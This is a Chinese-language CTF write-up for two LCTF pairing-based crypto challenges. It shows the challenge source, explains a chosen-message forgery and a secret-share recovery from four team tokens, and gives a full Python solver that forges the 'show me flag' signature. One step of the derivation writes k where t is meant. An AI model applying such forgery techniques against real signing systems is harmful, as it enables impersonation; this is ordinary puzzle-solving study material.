Charm

看到许多人卡在安装charm上,略有些惊讶……

pip install charm-crypto

如果没有安装依赖,是无法直接用pip安装charm的。charm的文档中描述了charm的依赖包,以及如何手动编译安装。

官方文档

crypto1

0X00. 题目原文

#!/usr/bin/env python3
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|



_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""

def sign(message, G, k, g, h, S):
    d = ***************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = ************************************************
    R0 = ***********************************************
    R1 = ************************************************
    R2 = ***********************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = input('message to sign:>>')
    if "show me flag" in message:
        return 0
    else:
        signed = sign(message, G, k, g, h, S)
        print(signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag') as target:
            print(target.read())

if __name__ == '__main__':
    main()

0X01. 思路

  • 从下往上找可以看到,想要获得flag就需要提供sign(‘show me flag’, …)。
  • 再往上看,这个服务能提供所有不包含’show me flag’子串的字符串M对应的sign(M)。显然这里是一个选择明文攻击(CPA)。
  • 检查函数sign,发现sign中未引入随机量,据此判断sign没有CPA安全性。
  • 分析sign,在选择明文攻击中攻破sign。

0x02. 攻破sign

def sign(message, G, k, g, h, S):
    d = ************************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)

读读sign,发现这是对ECDSA的拙劣模仿。

sign(M, …)返回的结果是这样的:

e(g^(S^k), h^(M + d*k))

其中,S, k, d 三个值现在都不知道;g, h 已知;M可以自由控制但是不能为空,也不能包含子串’show me flag’。

化简一下sign(M, …)返回的结果:

e(g, h) ^ (S^k M + S^k d * k)

一个直观的思路:

  • 选择M1, M2,保证 bytes_to_long(M1) - bytes_to_long(M2) = t,t为任意常数
  • 请求 s1 = sign(M1, …) ; s2 = sign(M2, …)
  • 选择 M’,保证 bytes_to_long(M’) + k = bytes_to_long(‘show me flag’)
  • 请求 s’ = sign(M’, …)
  • 计算:
s = s' * (s1 / s2) 
  = (e(g, h) ^ (S^k * M' + S^k * d * k)) * ((e(g, h) ^ (S^k * M1 + S^k * d * k)) / (e(g, h) ^ (S^k * M2 + S^k * d * k)))
  = e(g, h) ^ (S^k * (M' + M1 - M2) + S^k * d * k)
  = e(g, h) ^ (S^k * (M' + k) + S^k * d * k)
  = e(g, h) ^ (S^k * M + S^k * d * k)
   = sign('show me flag', ...)

至此crypto1的解计算完成。提交时看看题目给出代码中的判断部分注意提交格式。

crypto2

0X00. 题目原文

#!/usr/bin/env python3
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|



_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""

def sign(message, G, k, g, h, S):
    d = ********************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = ***********************************************
    R0 = ************************************************
    R1 = ************************************************
    R2 = ************************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = 'abcd'
    signed = sign(message, G, k, g, h, S)
    print('signed of "abcd":>>', signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag2') as target:
            print(target.read())

if __name__ == '__main__':
    main()

0X01. 思路

比赛结束前三小时crypto2放出了hint:“这不止是一道crypto题目,它还是一道……”

两道题目只有几行代码不同,crypto2中 不允许 用户提交自己的字符串。只会返回sign(‘abcd’, …)。无法选择明文了,允许输入的地方只有三个:token,队名,和最后的变量 signed_from_challenger。其中‘队名’这个变量是打酱油的,丝毫用处都没有。(此处偷偷谴责一下写token校验api的兄台 :-P)

读完代码后应该可以意识到crypto2里sign函数也几乎是打酱油的,全程只有可能执行sign(‘abcd’)与sign(‘show me flag’)。

那么问题肯定出在前面那一坨代码上了。

读一下前面的代码,意识到前面的代码其实是在双线性对映射出的那个群中一点e(g, h)的指数上实现了一个两层递归的 shamir门限方案 。这个shamir树型结构也是CP-ABE(Cipher Policy - Attributes Based Encryption)的基础结构。

图示:

题目中如下代码实现了这颗树。

if token%2 ==1:
    point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
    point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))

在实际代码中,奇数选手将得到 e(g, h)^(token R1 + S1);偶数选手将得到 e(g, h)^(token R2 + S2)。从更靠前的代码可以看到S1,S2的来源:已知S1,S2时,它们组成了一个简单的二元一次方程组。如果想要恢复出sign函数输入中的S和k,就需要先拿到S,或者拿到S的一些特征,比如说e(g, h)^S。

S1 = S + R0
S2 = S + R0*2

对于S,如果只知道S1,或者只知道S2,是无法解出S的。毕竟“K元一次方程需要至少K个一组才可能有解,否则一定有无穷多解”。

对于选手能直接得到的 e(g, h)^(token*R1 + S1) ,有两个未知量R1,S1,在只有一个token时也是有无穷多解的。因此需要两个奇数token,两个偶数token才有可能恢复出S(这里对应给出的hint:它不只是一道crypto题目,它还是一道社工题)。在实际操作中,我们只能恢复到e(g, h)^S,不过这已经足够我们求出’show me flag’的sign啦。

因为我们只能得到’abcd’的sign,即 e(g^(S^k), h^(‘abcd’ + d*k))

(注:此处代码前,S被赋值成了e(g, h)^S,详情见题目原文)

在我们能得到S = e(g, h)^S,且可以根据S求得k时,我们就可以给任意消息做签名了。

0X02. writeUp.py

from charm.toolbox.pairinggroup import *
from Crypto.Util.number import bytes_to_long, inverse

def main():
    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='

    # 4 different token. 2 even 2 odd
    t1 = bytes_to_long(b'4795968fe0bf73a1e39e6fec844dee01')
    S1 = b'3:cOlYveeItjU4ZHh8B58RjWUYJwdtFi/FXzqtd2GnnqEMJ9AFKzNjV90eUoPDLkinkWsdmbYTJxFTq5bvucwVHE98Uvw2laNvrsCFY9Mw766YdEPAtj7smBt/tIDl+u1mORufxZX8Q31F3dJjnzEoYhlxRZ9e9JFVtK7nW2Di6Iw='
    t2 = bytes_to_long(b'f11ca9db1f547b71a1b9592659553814')
    S2 = b'3:NjqqiCxaQtlFS1FEsSD+jmuO9Z0srysMi4K1nVCg2yAxJRjX62PPMSbY5JAa+Y4Ap25p9+u1EZ05f1RSwOXyZiIAZoDoS0crKDHRLJtE40aswcnPaf1JklMGBOGLdBUOZ3+nknLRDLACyBFnTW8y6FnHzLICGruBHisLhschvHM='
    t3 = bytes_to_long(b'97fddec1d9e630075803fc67d4220b05')
    S3 = b'3:GYcIbust8E1tcYZghIgC4x6YhrAyJUvy0lHHUxfvIOD7S/ann03RFrhO4qKb0jQ4vcU7pHJPv9Q+WDDPV/mAcH224dIfSyGcv91adl0tuhS6z0Fr4tBz03YUFUcGvAvi7bHvjnywwAjkTe1ZmMybyUnc9bMTPUxIZ3kli2b3PRs='
    t4 = bytes_to_long(b'adafcd958bbe176dd9cc96ef3aaa6438')
    S4 = b'3:R7Zhznj9aRtEv9ifZfLf9aqt4PSZzrMCSXuxkwZDdLEC2pqRPC1dWtP41BLR0UbbZVbTyOuojif9HYVuDu7oFSMTtj3zUxwXUW2x5sCYnkY3MOhSKM9JJxzAktSF0H2rIVvw4iBhQoh6Ecy3qRYfjZSha4Bc729DXHbYx0sMxd4='

    # SS512's order. get from G.order()
    order = 730750818665451621361119245571504901405976559617

    #init
    g = G.deserialize(g)
    h = G.deserialize(h)
    S1 = G.deserialize(S1)
    S2 = G.deserialize(S2)
    S3 = G.deserialize(S3)
    S4 = G.deserialize(S4)

    #compute x**S1
    t_S1 = ((S1**t3)/(S3**t1))**inverse((t3-t1), G.order())
    print(t_S1)

    #compute x**S2
    t_S2 = ((S2**t4)/(S4**t2))**inverse((t4-t2), G.order())
    print(t_S2)

    #compute x**S
    t = (t_S1*t_S1)/t_S2
    print(t)

    #compute k
    k = G.serialize(t)
    k = bytes_to_long(k)

    #compute mid
    mid = t**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)

    #compute sign
    signed = b'3:loZKMHi9WWkS46zTQyidX5546U2Sg/JLnNi18X2KRklZdJSth4Kyj5FPg0J8sVpc9hyClgIo2P8xOGsRK6Zxc2AW6euFkyaOUWI9ZmYp2AhE0kcOypR4vASF9vWYtNqj0qlsExtMThSUtS53HYHCczbxcxA2Vcr/tkFagicyU30='
    signed = G.deserialize(signed)
    message = bytes_to_long(b'abcd')
    signed = signed/(G.pair_prod(g, h)**(mid*message))
    
    message = bytes_to_long(b'show me flag')
    signed = signed*(G.pair_prod(g, h)**(mid*message))
    print(str(G.serialize(signed)))


if __name__ == '__main__':
    main()
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章